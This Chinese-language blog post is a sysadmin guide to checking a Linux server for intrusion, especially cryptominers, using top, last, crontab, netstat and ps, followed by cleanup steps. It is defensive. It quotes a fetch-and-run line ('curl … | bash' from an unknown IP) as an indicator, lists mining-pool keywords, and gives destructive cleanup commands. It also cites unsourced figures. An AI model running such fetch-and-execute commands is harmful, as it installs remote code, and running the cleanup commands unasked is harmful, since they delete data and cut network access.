
你发现服务器突然变慢了。不是业务高峰那种慢,是莫名其妙的卡——SSH敲命令要等好几秒,网站打开转半天,带宽监控曲线像过山车。
你开始怀疑:是不是被黑了?
别慌。被黑不可怕,可怕的是不知道被黑。今天给你5个命令,5分钟快速自查,让你心里有数。
先看一个数据
根据某云厂商的统计,超过60%的服务器入侵事件,在被发现之前已经持续运行了30天以上。也就是说,黑客在你服务器里住了整整一个月,你都不知道。
为什么发现不了?因为很多人不看监控、不查日志、不跑自查命令。黑客利用的就是你的“不知道”。
5个命令,5分钟自查
打开终端,SSH连上你的服务器。一条一条执行,看输出。
命令1:top — 看CPU,挖矿病毒藏不住
bash
top
看CPU那一列。正常服务器,CPU使用率应该在个位数或者十几。如果某个进程持续占用90%以上,十有八九是挖矿病毒。
重点看:
- 进程名是不是随机的(比如
[kworker]伪装成系统进程) - 有没有不认识的进程排在第一
反常识点:有些高级的rootkit会隐藏自己,你在top里根本看不到高CPU进程。所以如果CPU监控显示很高但top里看不到异常,说明可能中了更高级的东西。
命令2:last — 看登录记录,有没有陌生人进来过
bash
last
这个命令会列出最近的登录记录:谁、从哪个IP、什么时候登录、登了多久。
看什么:
- 有没有你不认识的IP
- 有没有凌晨3点、4点的登录记录(正常没人这个点登录)
- 登录频率是不是异常高(可能在暴力破解)
同时检查一下/etc/passwd有没有陌生用户:
bash
cat /etc/passwd | grep -E "/bin/bash|/bin/sh"
命令3:crontab -l — 看定时任务,黑客最爱藏在这里
bash
crontab -l
再看系统级的定时任务:
bash
cat /etc/crontab ls -la /etc/cron.d/
为什么看这里:黑客为了让病毒重启后还能跑,99%会加定时任务。比如每天凌晨3点从某个服务器下载恶意脚本执行。
如果看到curl http://某个陌生IP/xxx.sh | bash或者wget之类的,基本可以确定被黑了。
命令4:netstat -tunlp — 看端口,有没有暗门
bash
netstat -tunlp
这个命令会列出所有监听的端口和对应的进程。
看什么:
- 有没有不认识的端口在监听
- 有没有进程在连接陌生的外网IP
特别是看到连接矿池的端口(比如4444、5555、7777)或者连接到xmr、mine相关域名的,肯定是挖矿病毒。
高级技巧:如果怀疑有进程在疯狂外连但netstat看不到,可以用这个命令抓实时连接:
bash
ss -tunp | grep ESTAB
命令5:ps aux --sort=-%cpu | head -10 — 抓CPU最高的进程
bash
ps aux --sort=-%cpu | head -10
这个命令直接给你CPU占用最高的10个进程,比top更适合脚本化检查。
拿到PID之后,可以查这个进程的详细信息:
bash
ls -l /proc/PID/exe # 看执行文件在哪 cat /proc/PID/cmdline # 看启动命令
如果执行文件在/tmp、/var/tmp、/dev/shm这些临时目录,基本就是恶意程序——正经程序不会装在这里。
如果发现问题,怎么办?
第一步:隔离(别让黑客继续搞)
bash
# 临时封掉可疑的外连IP iptables -A OUTPUT -d 恶意IP -j DROP # 或者干脆把服务器的外网网卡down掉 ifdown eth0
第二步:杀掉进程,删掉文件
bash
kill -9 恶意PID rm -rf /tmp/恶意文件
第三步:清理定时任务和启动项
bash
crontab -r # 清空当前用户的定时任务 # 手动编辑 /etc/crontab 删掉恶意行
检查开机启动项:
bash
systemctl list-unit-files | grep enabled chkconfig --list | grep :on # CentOS
第四步:改密码!改密码!改密码!
重要的事情说三遍。改所有密码:
- root密码
- 数据库密码
- 网站后台密码
- 如果有SSH密钥,重新生成
第五步:如果实在搞不干净——重装系统
被黑之后,最稳妥的方案是:备份数据、重装系统、恢复数据。
因为你永远不知道黑客还留了什么后门。重装是唯一的100%解决方案。
挖矿病毒的特征(重点记住)
| 特征 | 说明 |
|---|---|
| CPU 100% | 挖矿需要大量算力 |
| 进程名伪装 | 叫[kworker]、[httpd]等,冒充系统进程 |
| 定时任务 | 每小时/每天从某IP下载脚本执行 |
| 连接矿池 | 域名带xmr、mine、pool等关键词 |
| 文件在/tmp | 恶意程序喜欢藏在临时目录 |
记住这些特征,下次看到一眼就能认出来。
一张应急清单,存手机里
发现异常时的处理顺序:
- □ 断开服务器网络(或防火墙封IP)
- □
top看CPU,找到可疑进程 - □
ls -l /proc/PID/exe找到文件位置 - □
kill -9 PID杀掉进程 - □
rm -f删掉恶意文件 - □
crontab -l检查定时任务并清理 - □
last看登录记录,改密码 - □ 检查
/etc/passwd和~/.ssh/authorized_keys - □ 如果清不干净,重装系统
把这9条存手机备忘录里。哪天半夜被电话叫醒,打开照着做。
最后一句
有个朋友,服务器被挖矿病毒跑了三个月,他愣是没发现。直到收到云厂商的账单——流量费暴涨,因为病毒还在往外DDoS别人。
他后来跟我说:“早知道有自查命令,我每个月跑一遍,也不至于多花几千块。”
服务器被黑不可怕,可怕的是不知道。每个月花5分钟跑一遍这5个命令,你就能睡个安稳觉。
把这篇收藏起来,下个月的今天,记得跑一遍。




